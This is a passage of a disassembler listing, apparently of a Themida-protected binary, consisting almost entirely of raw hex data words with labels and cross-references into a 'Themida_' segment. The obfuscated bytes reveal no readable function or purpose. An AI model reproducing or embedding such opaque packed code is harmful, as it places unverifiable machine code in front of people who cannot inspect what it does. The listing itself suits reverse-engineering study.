		dd 5EE9E0E0h, 71208D8Dh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 71501EC3h, 66FC603Dh
		dd 8D89C28Bh, 648225Dh,	0A198D89h, 6A0648h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8C0F87C3h
		dd 17h,	12E9h, 0E0845B00h, 78EB894Ch, 4D4D8775h, 7F6C7A8Bh
		dd 899B350Fh, 48210D85h, 3585C706h, 0BC06480Fh,	6A00006Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 5330C355h, 242585C7h, 648h, 870F0000h, 6
		dd 29CD8523h, 0B5FF0648h, 6481BEDh, 20BD95FFh, 8D290648h
		dd 6481E1Dh, 95FF006Ah
		db 61h,	30h, 48h
byte_5A3E8F	db 6			; DATA XREF: Themida_:0053EFCCo
		dd 1FEBC08Bh, 0FC3A4030h, 43623127h, 6CF84A6Ah,	0A464B4F5h
		dd 862942Fh, 751E1ED9h,	75BF434Dh, 0EB70D534h, 0A5453904h
		dd 4EBE93Eh, 22320000h,	203D5ED6h, 253B5CD4h, 283E5FD9h
		dd 2C2374DCh, 0E1E978E0h, 0FD37835Ch, 0FF39855Ch, 17418D5Eh
		dd 10489446h, 1A8C608Ch, 1A561524h, 0D96C95BBh,	8C9BD72Fh
		dd 86C57F9Bh, 0BCEBBE1Dh, 0DEF4D9BEh, 59B09992h, 0B4CAA0BDh
		dd 70D9529Eh, 6052AB99h, 2FD15E9Dh, 640045D1h, 0D6027478h
		dd 0CF324FC6h, 0F13D1243h, 0F8441647h, 0E5A102Fh, 1F6B6215h
		dd 17EE4424h, 0EC64B0A2h, 0C46CB8ABh, 0AB74C093h, 0DB89D58Ch
		dd 0AAE6ACC2h, 0CC664066h, 0BE0AC473h, 0AFFBD285h, 873E9474h
		dd 0BF166CDCh, 0E34D994Ah, 9752A0B2h, 4F39557h,	4E9A50F3h
		dd 6BE06CB7h, 9B4FC701h, 9B289E75h, 0E854F163h,	3Eh, 87C3839Ch
		dd 8D96E2F9h, 6BE14BB4h, 81EF55E1h, 8A221D69h, 4FC6B312h
		dd 9107BEF4h, 54F1160Eh, 175h, 64810900h, 75700F18h, 65811E29h
		dd 0EC420E19h, 4D99B429h, 54A0B2E3h, 1D86A2DCh,	4C58DB5Ah
		dd 0EAA64AF5h, 0EB937DA6h, 1D68793h, 10CD6AB5h,	62AE7BC4h
		dd 7A3A7C41h, 0E832DA32h, 491E9372h, 6F7B5FFDh,	4FC72BFFh
		dd 753082Dh, 203C141Eh,	0ECD0EEFFh, 40E980Eh, 15337F53h
		dd 69E22E24h, 4BD42036h, 3A030FF6h, 49F7431Dh, 6D647A70h
		dd 192E0821h, 198F466Ch, 54F1CE76h, 7E0Dh, 0CF9BBF00h
		dd 4FC764DFh, 0DE68B24Dh, 111A6681h, 0F52E7A6Eh, 1AB6C713h
		dd 74411868h, 0FE4A1E41h, 52DC45h, 6F6455C5h, 0F5412823h
		dd 39236F68h, 28236F68h, 18135F77h, 188E456Dh, 54F1F27Bh
		dd 6408h, 66819E00h, 4273111Ah,	513A3F8Dh, 83C48338h, 1CCF90AAh
		dd 2D2857D0h, 1C3966E1h, 431957D0h, 2773D580h, 41473713h
		dd 0CAE24FC7h, 0C98C83Ah, 838F7298h, 6681F6CDh,	8168221Ah
		dd 850F1864h, 4FC6B30Eh, 0F6317D55h, 86A98811h,	74E7A1E7h
		dd 0F19125Eh, 817F2AE9h, 0E5FA7053h, 9E54F1C6h,	1, 7C558638h
		dd 105C0F30h, 337F5906h, 479347F8h, 0DF404CFCh,	0AEEC7F0h
		dd 2A300A03h, 2B227BEBh, 0C90B2945h, 3A2E2F0Bh,	68E32F24h
		dd 3BD21E37h, 223E6AD2h, 0C73D584Eh, 735DC4Fh, 0C73D5343h
		dd 0F43EE14Fh, 77E5FB3Dh, 0F13D895Eh, 47AE6569h, 2100498Fh
		dd 15617926h, 7F567F1Bh, 0B571033h, 0F03C2E2Fh,	38271D37h
		dd 293A560Fh, 1D3562DDh, 643A56D1h, 56F6A1h, 4E9A50C5h
		dd 519DB5E6h, 65B1A9D6h, 18418FDAh, 0D62BF440h,	4ABF163Ch
		dd 0B2E44C98h, 5B399B2Dh, 13456h, 0E95BF000h, 8F4475D3h
		dd 0B2FC727Eh, 0D1304FC6h, 2518EF38h, 0F88323A9h, 0B2BEAA83h
		dd 4FC70DBCh, 0DD859170h, 8F135611h, 9EA98849h,	0B39DE901h
		dd 3DAF0E2h, 6C956CB7h,	80CE84B3h, 40A0E6A2h, 5EE94061h
		dd 0E358BB13h, 0E7B9A3EFh, 5B3A07DCh, 57A7h, 55B3F00h
		dd 49024E05h, 3F1B49E0h, 0DF20FDEh, 0CC66C766h,	0C73E7EA0h
		dd 0C28EAE4Fh, 4FC73ECCh, 0DF68C160h, 0E6A95CC5h, 62A562A7h
		dd 909BE701h, 0A1155DB9h, 714FC760h, 1E6A6455h,	0EC873E14h
		dd 2B0C3868h, 0CE33EC38h, 32541844h, 224FC760h,	8AC255FFh
		dd 80000000h, 75D3E95Bh, 8EB8DE59h, 36F11049h, 4B055109h
		dd 0AEEEE0Fh, 0F43BBEECh, 9E7891DDh, 0BC93A9C1h, 8AAB9970h
		dd 0A3C18AD6h, 0ECAD7C7h, 53BA5556h, 0BBF67EC7h, 2F560EC9h
		dd 4D057A59h, 60E05701h, 20501C48h, 104FD0DBh, 636753F1h
		dd 4FCD18F3h, 0EB54DE41h, 14A964Ch, 3F12434Fh, 0D23127F3h
		dd 51EF0537h, 8F29CB7Dh, 1A46E949h, 0CA342A46h,	19F8560Eh
		dd 2C0D59FDh, 3A5DE632h, 122ED723h, 0ECA483Eh, 0E945EC56h
		dd 0D3E95B53h, 0C3A75975h, 65054988h, 15241589h, 3C2E1756h
		dd 3BD237F0h, 342659D2h, 3B2F70E8h, 40122825h, 2BF40DF4h
		dd 7BF2A321h, 0CA095F7Dh, 7317D55h, 18647A5Bh, 3D8961FEh
		dd 6A6EFE1Fh, 9CFE616Ch, 6C07DED0h, 5AB34E8Eh, 0FED887C0h
		dd 0A1B779B2h, 0A9F5ED62h, 0B0FCEEAFh, 0D8677h,	863C0000h
		dd 0B320965Ah, 0ED144FC6h, 814C1621h, 73241F6Bh, 6718135Fh
		dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh
		dd 7728236Fh, 7419125Eh, 51E08950h, 4B9h, 59C80100h, 8704E883h
		dd 685C2404h, 1092h, 50241489h,	405E089h, 83000000h, 48704E8h
		dd 34895C24h, 0BBB5324h, 0BA45C366h, 438D1744h,	1C8BDA31h
		dd 4C48124h, 68000000h,	7A4Fh, 81242489h, 42404h, 505E0000h
		dd 8B8h, 57F00100h, 3889D789h, 34FF585Fh, 0C4835E24h, 2434FF04h
		dd 4C4815Ah, 0E9000000h, 0FFFA0723h, 75C1B8C6h,	0C503064Eh
		dd 416BE0FFh, 168C502Bh, 90CD726Bh, 0A5255C90h,	53DB6394h
		dd 57BD6C6Bh, 0B4E41770h, 9CF9245Bh, 0C2464CECh, 0A5EE78EAh
		dd 0DF9C521Eh, 31BC5C7Ch, 0B35E5F14h, 31A21F5Eh, 0BD6214FAh
		dd 49565D2Ch, 11E805CDh, 17000000h, 0D39DDF87h,	435EBF86h
		dd 0C0D77906h, 20302C6Dh, 53C2815Ah, 81000070h,	0E1B841C6h
		dd 685Bh, 0B70F0000h, 34FF58F2h, 0EE85B10h, 52000000h
		dd 28E4A662h, 0AEB50687h, 439360FAh, 12E825h, 0EECE0000h
		dd 75947854h, 5CA2C87Bh, 6906B3C9h, 0D29CD68h, 0C34DC181h
		dd 595E788Dh, 0AEABEB81h, 0C7811938h, 0BA1384Dh, 0D68CC381h
		dd 81660965h, 81EC1DF1h, 8D08DEBh, 8C0F26h, 53000000h
		dd 10E9h, 0E06C5500h, 0EFC72824h, 14127BA7h, 0F82E50D5h
		dd 2048F10h, 7E8h, 89C88800h, 61E515Fh,	4E8835Eh, 81CA8B66h
		dd 0FF9090F8h, 14850FFFh, 0F000000h, 280h, 0E95F5600h
		dd 22h,	0DA249A97h, 667CD00Ah, 0E9B03DBEh, 0FFFFFF52h
		dd 0F6A4CDA5h, 18135DC7h, 3CA96B66h, 0ABECBCEAh, 8E88C14h
		dd 0B7000000h, 9D586F69h, 0FA92DA6h, 581h, 0EB816600h
		dd 525EB60Eh, 0C68158FCh, 6425h, 0F60C92Bh, 681h, 0D7E88100h
		dd 666D2CD2h, 7566F381h, 3134FF61h, 0BB5AC28Bh,	1C322C66h
		dd 4102F281h, 0F5BF2CCDh, 813675B9h, 0BAEF10F2h, 812BB326h
		dd 8183EAF2h, 0BF75BF65h, 14891C91h, 258C0F0Eh,	0E8000000h
		dd 0Eh,	8B77BD54h, 0A8E6F944h, 3B44BD7Bh, 0BE81FB1h, 3F000000h
		dd 5C36B1E0h, 84B2F11Dh, 5F5F8F19h, 9E9h, 0CA58B600h, 727EF89Ch
		dd 0E9818BB4h, 193BFEBCh, 7EB8166h, 0B8C1810Eh,	0E9193BFEh
		dd 13h,	724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h, 81C3B2F6h
		dd 0FF9CD0F9h, 11850FFFh, 66000000h, 0E99ABDB8h, 24h, 92518B92h
		dd 6BA1E5D1h, 0E9F9B70Fh, 0FFFFFF4Dh, 47E9BDFEh, 0E402BAE8h
		dd 3729F714h, 0C16E83EEh, 0DAF888D2h, 0A234AC42h, 0A27C2406h
		dd 3BB37D7Ah, 807821A7h, 83B42A21h, 6F302590h, 863025DDh
		dd 9A9198A7h, 8930235Ah, 8630AD8Dh, 378DA684h, 86366D57h
		dd 864BA12Eh, 3F62590h,	80780225h, 8634CD6Ah, 51702512h
		dd 0D608D4Bh, 0D3401C0h, 0A274AC42h, 33CF7D25h,	80783931h
		dd 52EA0C5h, 56CF236Fh,	3F6D599h, 80780264h, 6BA24DCAh
		dd 82B17611h, 68D98B05h, 3785DAC4h, 0B366D5Dh, 0CDB33BA1h
		dd 0DE0DA14h, 86209CF1h, 8ED92584h, 20302542h, 863EA02Eh
		dd 8D792590h, 76B52A81h, 6FCFDADBh, 8630251Fh, 0CD54B884h
		dd 838823CCh, 79302542h, 0EB8DA8C2h
		dd 0B366BE8h, 0C84911C5h, 0A3229D22h, 491BA322h, 0A234AC42h
		dd 0A27C2406h, 3BB37D7Ah, 807821A7h, 83B42A21h,	6F302590h
		dd 863025DDh, 839198A7h, 0A4F305E9h, 22B9h, 5E800h, 12E40000h
		dd 0F6B0A97h, 8059DAB7h, 0C18166EBh, 66B7h, 0AD99589h
		dd 0D2330648h, 3880Fh, 8B660000h, 11348BC6h, 25218501h
		dd 0C6810648h, 13865E86h, 30D78166h, 99EE817Fh,	8B1F6792h
		dd 4813E985h, 1BC68106h, 606F0E7Fh, 10E9h, 176C5200h, 89EA13A7h
		dd 0C4E8E129h, 1571B8B6h, 61D68BB1h, 819D0B56h,	8F06481Bh
		dd 820F1104h, 1, 0F5BD8BF9h, 8306480Eh,	4A4A01EAh, 21858B4Ah
		dd 8106482Bh, 0FF9A00FAh, 12850FFFh, 0BF000000h, 7A0CAEF6h
		dd 20E9h, 0DE2AB400h, 3EEAB696h, 0E9FB8B14h, 0FFFFFF79h
		dd 8B10699Eh, 0FAFBB1DFh, 3B9FE42Bh, 0A2E4D0C2h, 0BA04EB60h
		dd 0E94D16F0h, 84Fh, 143C885Ch,	163E8A43h, 153F8B45h, 163E8A44h
		dd 163E8A45h, 253ABF07h, 2B3E5FD9h, 2F2475DFh, 322879E3h
		dd 466A6EE6h, 152D342Ah, 0D1DDF856h, 2F7B5586h,	69010DF4h
		dd 4FC6B2F2h, 0F2D7971h, 63B08EEh, 0F43EB43Eh, 4317405Ch
		dd 24141BF7h, 0F30C300Ch, 0E1830585h, 1D55E1A4h, 498F4D46h
		dd 0B6A8C4A8h, 0B0560F36h, 0F36AA9Ch, 7FA78A56h, 6AB501D6h
		dd 8C976E97h, 0BDEF4EBh, 0B2EE66BFh, 0B680CC89h, 0DA65B1A9h
		dd 0CADD61C2h, 851D85DBh, 6AB6ACA9h, 0DB3A90E1h, 3C287466h
		dd 0C7F791E3h, 9968C30Fh, 9FAB998Ah, 560F7BAFh,	0C098A27Dh
		dd 39DE019Eh, 0C7A3B75Bh, 560F6FD7h, 0CF60BA55h, 57h, 7A558667h
		dd 20CF52Eh, 6D647A55h,	253F0821h, 547656FCh, 72BC59BCh
		dd 0A59EEAE5h, 22976EC4h, 2577E12Dh, 54F20A9Ah,	2AE9h
		dd 66817D00h, 1083111Ah, 534FC6B3h, 49F6317Dh, 2809428Eh
		dd 0C548F3D2h, 61ADBE97h, 0A1B783E6h, 0A6F2ED62h, 21ABAEh
		dd 81670000h, 4B975066h, 47002900h, 392D411Dh, 0FB4FC6B3h
		dd 0FA72FA14h, 784FC6B2h, 796EE322h, 5B39032Dh,	5975D3E9h
		dd 498EB87Ah, 0D2C488B4h, 62560EBDh, 0BADD66BFh, 0CDEE5AA6h
		dd 0BC99CA16h, 0F1B2A670h, 0D9A0ABF7h, 0D7F35167h, 4FD6C5CCh
		dd 444FF22h, 1327976Eh,	0C6B64737h, 0F04AE54Fh,	32D796Fh
		dd 0F9327E52h, 0C6B5FB5Bh, 22E1174Fh, 0F967B3ADh, 82BD09E0h
		dd 81BB939Fh, 73D1035Bh, 67CF690Ah, 0FD194019h,	811D6947h
		dd 7A211D69h, 19538010h, 5A3057F1h, 0C6000000h,	55D1035Bh
		dd 0B2F46A86h, 49724FC6h, 62543E8Ch, 0D2D0D252h, 2149DF3Bh
		dd 0C735594Dh, 0CD34DB4Fh, 7B558651h, 6377E32Fh, 0B3037377h
		dd 70664FC6h, 823FE24h,	19A3C5A5h, 47FD1955h, 20965A86h
		dd 144FC6B3h, 0C976CBEBh, 53BA47BAh, 76C296C7h,	3FBC06ACh
		dd 31h,	0D1035BD3h, 495A8655h, 0EDAE75B0h, 4921EDAFh, 4FC75655h
		dd 86F22CD3h, 1B67813Ch, 493D112Dh, 0EB4FC6B3h,	0B2FB6B7Fh
		dd 0D6394FC6h, 659E32Fh, 1D6981BCh, 5F4F1B3Fh, 0CD4FC6B3h
		dd 555FE832h, 4FC2340Fh, 34A6F743h, 29756AA9h, 1BE04B1Eh
		dd 59FF1BC4h, 14D057Ah,	352A0B57h, 57104DE9h, 481F400Bh
		dd 647760FCh, 0E849FE18h, 0A9BE3392h, 1EA1F35Dh, 6554F5A5h
		dd 1Eh,	1D6981F9h, 0D7ED4F22h, 0B2FA6569h, 0E54C498Eh
		dd 99C20E5Ah, 0B1A773BFh, 0B905DD52h, 6981C57Fh, 0ED4F221Dh
		dd 1F06520Dh, 9B862D41h, 69C8498Eh, 35B95EFh, 1D6955D1h
		dd 3F1D6981h, 0B35F4F1Bh, 32CD4FC6h, 55865EE8h,	845A2E7Ch
		dd 67706758h, 0A2DC74BEh, 0D33E1D86h, 0A20FA23Ch, 5CA9C698h
		dd 25DA57F1h, 74000000h, 55D1035Bh, 0B2F46A86h,	0D9384FC6h
		dd 813C864Dh, 60F1B67h,	76BEC9DAh, 0B993B9BCh, 3F3FE75Dh
		dd 0D3000000h, 55D1035Bh, 0B2F46A86h, 4E724FC6h, 0C6B30C82h
		dd 3501204Fh, 860E18EFh, 5667813Ch, 0C6B3047Ah,	2009284Fh
		dd 6A1D8626h, 0A4636853h, 0E14FC863h, 0EABDEA4Dh, 8FA89450h
		dd 0AC958EDAh, 6981DC62h, 44163F1Dh, 438F47F8h,	30152108h
		dd 0E32F2314h, 3D350168h, 4FC233F7h, 0BE2EE53Bh, 0AB74C09Dh
		dd 34C9BD91h, 0C46B4FCBh, 0CE84D15Dh, 0CE89DA82h, 0D98AA0B8h
		dd 56AB748Dh, 0F4C874AFh, 0CB3466D8h, 0F86BC64Fh, 0D68793DFh
		dd 9F6AB501h, 40178C47h, 0E33748F4h, 0FFCAE124h, 74C099CAh
		dd 94BC56ABh, 0F568BDC2h, 4EC654h, 81600000h, 4F221D69h
		dd 6569D7EDh, 498EB8EAh, 5C6D6556h, 0EBD1E90h, 1AF30E56h
		dd 203D2A00h, 0BD4B3B0Fh, 46E9560Eh, 24FD64DFh,	1CF74D1Bh
		dd 0CEA2B3A7h, 560EBDD8h, 0E44CB55Ch, 0B6CC9FB8h, 74CD56A2h
		dd 80AD928Dh, 0A43F7E7Ah, 0F24CE63Fh, 7B536981h, 5510C2Fh
		dd 6579231Ch, 0C503C73Ch, 16628B62h, 4FC77AA0h,	41926D94h
		dd 3A6A3FC0h, 0D769D06Ah, 3CC7A3C1h, 0F2498EC3h, 865B250Fh
		dd 24EF261Dh, 948B538Dh, 77049247h, 1E111D04h, 693A0438h
		dd 33491A3Bh, 0E03AD31Fh, 1D698166h, 80107A21h,	57F11953h
		dd 1C30h, 35BC600h, 6A8655D1h, 4FC6B2F4h, 864DD938h, 1B67813Ch
		dd 3FBC060Fh, 32h, 0D1035BD3h, 865A8655h, 0C6B2F46Ah, 3DD9384Fh
		dd 0C6B34135h, 0E18EF4Fh, 67813C86h, 3D112D1Bh,	4FC6B349h
		dd 541844EBh, 4FC6B362h, 59E32FD2h, 6981BC06h, 667A221Dh
		dd 0C6B3148Ah, 1DF9184Fh, 0C2340F55h, 16ED434Fh, 247BC9A1h
		dd 3B875AEEh, 27EE19F0h, 324E256Eh, 618C614Ch, 78C497C8h
		dd 0E4F6A791h, 0E53AC98h, 0A2990C43h, 71C87D99h, 0BF8BB9CFh
		dd 499333ECh, 2975DF42h, 120D5910h, 5B59E32Fh, 0A73D103h
		dd 6244B846h, 6ED8627Eh, 2E7C5586h, 0D78A568Ch,	0F52ED7A7h
		dd 13D020Ch, 5B1B6981h,	6D5B5986h, 98C4BA96h, 0C9684FC7h
		dd 7A7DC960h, 19538010h, 503057F1h, 0C6000000h,	55D1035Bh
		dd 68815A86h, 0EB348052h, 0CD34EF16h, 0B3352941h, 18F74FC6h
		dd 0AE77D32Ch, 0BBF9BB75h, 3C86E55Fh, 2D1B6781h, 0E22E2811h
		dd 2740069h, 324FC6B3h,	6F943CFh, 4E3FBCh, 0CDF10000h
		dd 0C6B38D01h, 0AFFBD44Fh, 0ADF9EE57h, 5B84BA54h, 4773D103h
		dd 0C6B31383h, 3539214Fh, 4FC6B341h, 19F50CF3h,	0F46A8623h
		dd 344FC6B2h, 3C8651CDh, 7A566781h, 4FC6B304h, 4B3A4D25h
		dd 1AF0D5F0h, 0C7000CF7h, 0CBA4CBFEh, 0BC06E862h, 221D6981h
		dd 3D89617Ah, 33B379F1h, 3D2E4FC2h, 4E0936F1h, 99BF4902h
		dd 277D8F3Ah, 176377ECh, 18667C1Dh, 8CDE33E0h, 0C7758C8Fh
		dd 7667D7F3h, 6AC54FCBh, 0ECCD77D0h, 0BF0BE0F6h, 0D8849D84h
		dd 0CB76A214h, 0A36F924Fh, 0A894AC8Ch, 5FABA394h, 75D897D3h
		dd 67504993h, 4A1F2874h, 19F54119h, 56302807h, 9FCF035Bh
		dd 2FA69D72h, 4D99B5A6h, 0B7AF88B4h, 0AD89E06Bh, 1A3B6997h
		dd 0D930FB47h, 6981073Dh, 107A211Dh, 0F1195380h, 503057h
		dd 5BC60000h, 0A73D103h, 901B671Dh, 0C0869034h,	20965A86h
		dd 144FC6B3h, 353921EDh, 4FC6B341h, 138347F3h, 214FC6B3h
		dd 253927FEh, 0C6B35549h, 6520C4Fh, 0E33EE43Dh,	3C86ED57h
		dd 0F1B6781h, 327E5586h, 3FC2FCE8h, 41h, 0C612C8F1h, 35BD26Ch
		dd 6A8655D1h, 4FC6B2F4h, 8651CD34h, 0F46A865Ah,	384FC6B2h
		dd 86073DD9h, 0E6307C55h, 724E5F79h, 0C6B2E85Eh, 87E54C4Fh
		dd 4FC6B317h, 5F9BF815h, 0C7F0C99h, 6120CF5h, 1D6981BCh
		dd 0D7ED4F22h, 20D41869h, 373837D2h
		dd 46B7FDBh, 32498EC6h,	2B024E05h, 18FA4A31h, 2E1AF33Fh
		dd 0D0CC4422h, 9A4FF84Fh, 0AFA2D54Eh, 0A881E863h, 0C199C681h
		dd 0DE69B5ABh, 0E9BAA28Bh, 29AA5F1h, 9DB29FA1h,	0A8728772h
		dd 0A58CC1CCh, 0D8297504h, 4C3E8B40h, 7FCB823Ah, 6AC45DC4h
		dd 0A2B82DE8h, 61C2DE56h, 39138A15h, 80DD3993h,	0E1421E6Ah
		dd 73655C67h, 9EA7736Fh, 19CFE501h, 96524408h, 3FE29B25h
		dd 44043FE6h, 0FC481F38h, 70E52032h, 55062E7Ah,	2713317Dh
		dd 25963323h, 141E019Bh, 12CA2Bh, 86880000h, 0F6317D55h
		dd 0B30C824Eh, 1204FC6h, 7330E28h, 241F6B81h, 18135F73h
		dd 1F287467h, 221D6980h, 150E5A75h, 26216D62h, 16115D79h
		dd 28236F69h, 19125E77h, 0E2895274h, 4C281h, 0EA830000h
		dd 24148704h, 6824248Bh, 3330h,	68241C89h, 70BEh, 68240C89h
		dd 64E7A25h, 81241C8Bh,	4C4h, 0C8B5400h, 4C48124h, 56000000h
		dd 0BB53DE89h, 8, 3389CB01h, 0C8B5E5Bh,	0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 52241C8Bh,	0C281E289h, 4
		dd 4C281h, 14870000h, 0F0E95C24h, 0B1FFF9FAh, 0EB139675h
		dd 0B85A11EAh, 64E81F2h, 0E0FFC503h, 3620B64Dh,	72C02626h
		dd 1352846Fh, 3A1D391Fh, 6DAEB98Fh
dword_5A5000	dd 83758D8Dh, 9D8B064Eh, 648184Dh, 0A198D89h, 6A0648h
					; DATA XREF: Themida_:0053FE20o
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 440887C3h, 0BB18FA4h, 8D315D59h, 64827ADh, 30B18589h
		dd 85C70648h, 6480F35h,	5F94h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0F1C35141h,	0E81E2B24h, 6
		dd 41BB85C6h, 0BB66F9C4h, 8B5A5FD5h, 4800B9BDh,	2585C706h
		dd 64824h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 2003C350h, 0B5FF101Bh,	64827B5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h
		dd 25A99D8Bh, 80520648h, 0FF584EE3h, 4820BD95h,	0FF006A06h
		dd 48306195h
dword_5A50E4	dd 0EBC08B06h, 0F08E1F2Fh, 0A8B6B44Fh, 87DA5B6Bh, 0BA1AFAE8h
					; DATA XREF: Themida_:0053F51Co
		dd 0E837D3DCh, 0DFE28CCAh, 28B4D94Eh, 0F435DF7h, 0D5F3FF29h
		dd 72601325h, 0DCB955F6h, 4281B98h, 9E8h, 364C9700h, 390D4AC1h
		dd 85299D2Bh, 64805ADh,	819D895Fh, 8106481Fh, 6F9AC7h
		dd 0F08B6600h, 1BBB68h,	0E1858900h, 5A06481Eh, 81078BF5h
		dd 13CB5CE9h, 19F0817Bh, 8916C075h, 48001195h, 0F2E88106h
		dd 8B5A7116h, 480E7DB5h, 4E88106h, 8B1FE5CBh, 4800859Dh
		dd 60078906h, 8161F28Bh, 0D237EBEFh, 0B9B58B17h, 8106481Ch
		dd 0D237E7C7h, 0E5852917h, 81064822h, 1EAh, 1E850F00h
		dd 8B000000h, 481A9DB5h, 25E906h, 3B9E0000h, 88DD8373h
		dd 0F5C43DADh, 0F6DA48FCh, 73E6126Dh, 0B58589DCh, 0E9064823h
		dd 0FFFFFF81h, 0DC0282EAh, 0E853E55Bh, 7, 10A1E834h, 33D73FB3h
		dd 482D1D8Dh, 8D895A06h, 6480E25h, 5EA9C281h, 9E90000h
		dd 0C9000000h, 8D294D2Bh, 0A6698C47h, 9C2BD2BFh, 51F7814Ch
		dd 814C9C3Ch, 0D6A1F5DBh, 0B932FF05h, 540C7ADFh, 3EEE815Eh
		dd 0F09F876h, 0EE81DBB7h, 4110CEFDh, 42C681F9h,	0B51D3F52h
		dd 958956C4h, 6481F81h,	83FC028Fh, 0EF8104EAh, 1, 18850Fh
		dd 0DCB50000h, 28E9h, 13710E00h, 93A62B0Ch, 67D609h, 0F92BE5A3h
		dd 8D0B5973h, 6481479h,	0FFFFA4E9h, 0C541CAFFh,	3C8501C5h
		dd 0C13CEEA6h
		db 10h
byte_5A5275	db 2 dup(8Dh), 0BFh	; DATA XREF: Themida_:0053ECF0o
		dd 6A064E85h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0B4D7C352h, 0B09F331Eh, 1BE602Fh
		dd 0A198D89h, 9D290648h, 64824ADh, 0F3585C7h, 6CC00648h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 93E901C3h, 0C7D68B3Ah, 48242585h,	6, 0FD9D8900h
		dd 0FF06480Ch, 48228DB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 201C93CBh
		dd 2BCDE2FAh, 0E28171A1h, 1CB76A84h, 20BD95FFh,	0B58B0648h
		dd 6480C8Dh, 6AF08B66h,	6195FF00h, 8B064830h, 1D1AEBC0h
		dd 2A74EB25h, 1378291Eh, 40719D45h, 0F9B438B5h,	0BEFDC2F6h
		dd 0C65C1114h, 798D8DDAh, 6A064E86h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E6AAC351h
		dd 0BE9AE1Bh, 23000000h, 60CD298Dh, 0ACCD3D6Ch,	8D89D863h
		dd 6480A19h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0DBC35141h, 863F5CB8h, 85C73A63h, 6480F35h, 5AE4h
		dd 0B258509h, 81660648h, 0C7D281E2h, 48242585h,	6, 0A5958900h
		dd 0FF06480Fh, 4829E1B5h, 59BD2906h, 0FF064820h, 4820BD95h
		dd 0FF006A06h, 48306195h, 0EBC08B06h, 322B284Ah, 5E2DADB8h
		dd 2E2EAEA1h, 0C085DDAEh, 95EA474Bh, 0A6F5162Dh, 0DAD97C35h
		dd 0BA6C47ADh, 64D33BBEh, 0A82460D5h, 7D43AB19h, 0AD9490A3h
		dd 0AA234591h, 0A434282h, 194F0BAFh, 326960F0h,	0B5CCDAFEh
		dd 0E754ABACh, 8D2BB12Fh, 4E87AB8Dh, 198D8906h,	6A06480Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 1747C355h, 0E9E024D8h, 6,	41F9F901h, 0B1B47F1Ah
		dd 0F3585C7h, 59800648h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0E13D78C3h, 73436134h
		dd 0D8BF0F0Bh, 0B589D38Bh, 64813B9h, 242585C7h,	648h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0AB657AC3h, 436DA10Fh, 19798D89h, 0B5FF0648h, 6482281h
		dd 1F59B58Bh, 95FF0648h, 64820BDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0B4C35747h,	335B62D9h, 0BF0FE5CAh
		dd 6AF18AC0h, 6195FF00h
		db 30h,	48h
word_5A551A	dw 8B06h		; DATA XREF: Themida_:0053E6E8o
		dd 772DEBC0h, 914166Ah,	15F632D1h, 10157690h, 2D5FE87h
		dd 55478CA5h, 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 3805EEAh
		dd 56E5F46Bh, 3F6118E4h, 12E8h,	41A9C600h, 20C8D92Ah, 0B0702BF6h
		dd 0B730F956h, 603DAF0Ch, 2A098589h, 5E610648h,	1B85B589h
		dd 0C6810648h, 5ED4h, 6809E080h, 1785h,	69DBD01h, 0F5F0648h
		dd 389h, 0D8B70F00h, 0D2800E8Bh, 2CF18104h, 811EB8F4h
		dd 5CC66CCAh, 38C18160h, 6641F405h, 0CFF4C381h,	44A5C181h
		dd 958B1C45h, 64809A1h,	0C6B70F51h, 8166068Fh, 835D97E8h
		dd 55BB01EEh, 4E33BF6Fh, 9D894E4Eh, 64809FDh, 0F01EF83h
		dd 1F85h, 8E900h, 13FA0000h, 65CBCFCFh,	26E9AE12h, 0E5000000h
		dd 3EBC7C42h, 8D0AE9F6h, 8516FD2Ah, 0C69950Bh, 89E90648h
		dd 93FFFFFFh, 3C45905Ah, 0F32575E6h, 2013E51Bh,	898D8D4Bh
		dd 8B064E89h, 482371B5h, 198D8906h, 6A06480Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 6ED3C357h, 906BFF51h, 91BD2Bh, 85C70648h, 6480F35h
		dd 7284h, 1CD99D8Bh, 85C70648h,	6482425h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FEC35545h
		dd 0EAB0344Ah, 0BB663468h, 0B5FF1018h, 6481E3Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 68C35646h, 1411BC05h
		dd 0E8B3E122h, 0Eh, 1B0DCCB2h, 0B7B7910Fh, 85A5158Dh, 0DF8B62D8h
		dd 0BD95FF5Fh, 6A064820h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0E9AFC352h,	0FF006A01h
		dd 48306195h, 0EBC08B06h, 8212313Bh, 57C0219Ah,	769F4943h
		dd 111D3C4Ah, 0ECC8752Bh, 29D2A8B7h, 4C94A1C4h,	3214E11Dh
